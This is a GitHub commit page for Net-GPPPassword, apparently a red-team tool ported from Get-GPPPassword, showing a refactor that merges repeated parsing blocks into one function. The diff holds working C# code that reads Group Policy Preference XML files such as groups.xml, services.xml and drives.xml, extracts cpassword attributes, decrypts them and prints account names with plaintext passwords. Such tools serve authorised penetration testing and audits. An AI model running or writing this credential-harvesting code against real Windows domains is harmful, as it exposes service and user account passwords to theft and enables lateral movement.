Skip to content

Commit

Permalink
Factorize parsing and printing function.
Browse files Browse the repository at this point in the history
  • Loading branch information
pms committed Dec 17, 2019
1 parent aeb77a8 commit 8db8f6c
Showing 1 changed file with 27 additions and 88 deletions.
115 changes: 27 additions & 88 deletions Net-GPPPassword.cs
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
// NET-GPPPassword
// NET-GPPPassword
//
// .NET port of Get-GPPPassword
// Author: Stan Hegt (@StanHacked) / Outflank
Expand Down Expand Up @@ -84,6 +84,26 @@ static string DecryptCPassword(string cPassword)
}
}

// This function parse the XML and extract the given node and print eventually found password
static void ParseAndPrintProperties(XmlDocument xml, string NodePath, string userAttribute )
{
XmlNodeList xnList;
xnList = xml.SelectNodes(NodePath);
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("[RESULT] Username: {0}", xn.Attributes[userAttribute].Value);
Console.WriteLine("[RESULT] Changed: {0}", xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("[RESULT] Password: {0}", DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
}

static void ProcessFile(string path)
{
Console.WriteLine("Parsing file: {0}", path);
Expand All @@ -98,106 +118,25 @@ static void ProcessFile(string path)
Console.WriteLine("Error parsing {0}", path);
return;
}

string resultPrefixString = "[RESULT] ";
XmlNodeList xnList;
switch (Path.GetFileName(path).ToLower())
{
case "groups.xml":
xnList = xml.SelectNodes("/Groups/User/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["userName"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Groups/User/Properties", "userName");
break;
case "services.xml":
xnList = xml.SelectNodes("/NTServices/NTService/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["accountName"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/NTServices/NTService/Properties", "accountName");
break;
case "scheduledtasks.xml":
xnList = xml.SelectNodes("/ScheduledTasks/Task/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["runAs"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/ScheduledTasks/Task/Properties", "runAs");
break;
case "datasources.xml":
xnList = xml.SelectNodes("/DataSources/DataSource/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/DataSources/DataSource/Properties", "username");
break;
case "printers.xml":
xnList = xml.SelectNodes("/Printers/SharedPrinter/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Printers/SharedPrinter/Properties", "username");
break;
case "drives.xml":
xnList = xml.SelectNodes("/Drives/Drive/Properties");
foreach (XmlNode xn in xnList)
{
try
{
Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value);
Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value);
Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value));
}
catch
{
// Swallow
}
}
ParseAndPrintProperties(xml, "/Drives/Drive/Properties", "username");
break;
}
}
Expand Down

0 comments on commit 8db8f6c

Please sign in to comment.